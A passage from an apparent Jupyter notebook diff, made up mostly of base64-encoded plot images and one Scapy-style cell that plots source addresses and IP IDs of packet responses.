Li8v\n2dvbY21trSiYNDQ0EA6HOT09JRwOY5omhUKB2dlZNjc3KS0ttT9bUVFBTU0Nr6+vTE5OMjMzQ2Vl\nJQAvLy8kEgnm5+cBeHx8xDAMe211dXVRf0okEikacPdR183V1RXJZJLz83PS6TT7+/tYlkVvb6/d\nPntwcEChUPi9AxVxwKebXCoi8l8FAgECgQCrq6u43W6mp6d/uWZ3d9e+snF3d0d5eTmtra0MDg7a\nZXH9/f1kMhmOj495eHhgYmKCXC5HJpNhfX2dUChENptlfHwcr9fLwsKCvX8qlWJoaMgeu24YBvl8\n3n4/n89TW1sLQC6Xw7KsoiK677tulpeX6e7u5v7+3r76kcvluLm5IRqNMjc3x9bWFiMjI9TX1//m\niYr8eQoeIvJP+bYt9z2wDA8Ps7S0RF1dHcFgkIuLC5qamhgbG7NH75+dnRGPxwmFQjw9PeHz+QgG\ng0U3nMLX4PH+9weAx+Ph+vqabDZLVVUV6XSaYDAIQDqdxufzFa1/77oxTdPuuuns7KSrq4ujoyMA\nYrEYPT09nJycEIlE6OjoIBqN4vf7/8iZifyfFDxE5K+3srLyw2slJSVFXTcbGxu0t7czOjr64R6L\ni4uYpsnh4SFlZWVsb29/uCdAPB7n9vaWRCJBIpEAvj6l0tzcjGVZdmEbgMvlIhaL4ff7eXt7Y2pq\nCrfbDYBlWbS1tRV9x0ddN4Zh4PP5GBgY4Pn5mb6+PhobG/F4PJimicvloqWlxX5iRuQzU1eLiIiI\nOEY3l4qIiIhjFDxERETEMQoeIiIi4hgFDxEREXGMgoeIiIg4RsFDREREHKPgISIiIo5R8BARERHH\nfAF06XGfj0wwrAAAAABJRU5ErkJggg==\n",
- "text": [
- "<matplotlib.figure.Figure at 0x7f126c1f6410>"
- ]
- },
- {
- "metadata": {},
- "output_type": "pyout",
- "prompt_number": 6,
- "text": [
- "[[<matplotlib.lines.Line2D at 0x7f126c35ac90>],\n",
- " [<matplotlib.lines.Line2D at 0x7f126c35af10>]]"
- ]
- }
- ],
- "prompt_number": 6
- },
- {
- "cell_type": "code",
- "collapsed": false,
- "input": [
- "ans.multiplot(lambda (p, q): (q[IP].src, q[IP].id))"
- ],
- "language": "python",
- "metadata": {},
- "outputs": [
- {
- "metadata": {},
- "output_type": "display_data",
- "png": "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